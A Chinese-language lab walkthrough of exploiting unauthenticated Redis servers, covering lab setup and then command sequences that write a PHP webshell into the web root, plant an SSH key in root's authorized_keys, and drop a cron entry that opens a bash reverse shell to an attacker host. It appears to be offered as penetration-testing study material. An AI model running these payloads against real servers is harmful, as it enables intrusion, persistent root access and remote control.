一、介绍redis未授权访问
Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。
二、漏洞产生条件
(1)redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网; (2)没有设置密码认证(默认为空),可以免密码远程登录redis服务。
(3)如果想高级利用,对方是以root身份启动的redis
三、环境准备
环境:Centos7、redis
wget http://download.redis.io/releases/redis-4.0.8.tar.gz tar -zxvf redis-4.0.8.tar.gz yum install -y gcc
cd redis-4.0.8 make MALLOC=libc cd src && make install
配置redis.conf,把bind ip配置为0.0.0.0
启动redis必须使用 root 权限启动,否则save时会报错
启动redis
sudo ./redis-server ../redis.conf
kali linux 安装redis
sudo apt-get instlal redis-tools -y
四、利用过程
redis-cli -h 192.168.110.133
4.1. 数据泄露
获取所有的key值 keys *
keys *
4.2. 系统信息泄露
info 命令可以看到redis的版本、系统内核版本、配置文件路径等信息
4.3. 写文件GetShell
在Web目录中写入webshell
前提条件:已知网站目录的绝对路径,并且具有读写权限
getshell
- 写入shell
# 写入一个string内容 set shell "<?php @assert($_POST[cc]);?>" # 设置备份目录 config set dir /var/www/html/ # 设置备份文件名 config set dbfilename shell.php # 保存文件到本地 save
连接,没问题。
4.4. 写入SSH公钥直接SSH连接
要钱:
- 本地生成公钥和私钥
- 将公钥写入到目标的.ssh文件夹
- ssh 连接
kail攻击机默认不开ssh,没有.ssh目录,需要手动操作(配置sshd_config连接即可)。
执行:ssh localhost 生成 .ssh 目录
先切换为root用户,如果su验证失败,先passwd root给root设置一个密码
执行:ssh localhost 生成 .ssh 目录
验证下root的密码,当前目录就会有一个.ssh目录了(如果靶机也没有.ssh目录,同下操作方式。)
生成公钥跟私钥。
ssh-keygen -t rsa //执行生成key命令
id_rsa #私钥
id_rsa.pub #公钥
切换shell工具去使用,查看下公钥内容,最后那一串用户名为root。
# 备份文件目录设置为对应的 .ssh,一般默认为 /root/.ssh/ config set dir /root/.ssh/ config set dbfilename authorized_keys # 保存key的时候加上两个`\n`是为了避免和Redis里其他缓存数据混合 set key "\n\n\生成的公钥n\n" save
接下来直接通过私钥去进行连接ssh,不需要验证密码。
ssh -i id_rsa root@192.168.110.133
连接上了,顺便执行了一个whoami,ifconfig。
4.5. 写入计划任务(corntab)反弹shell
执行命令
和写入公钥一样,将文件保存到本地,备份文件名必须要和用户的名字一样,比如是test用户 set dbfilename test
set shell "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.110.141/4789 0>&1\n\n"
config set dir /var/spool/cron/ config set dbfilename root save
过一会shell就弹过来了。
高级利用:
1、主从复制 https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf
2、模块加载执行命令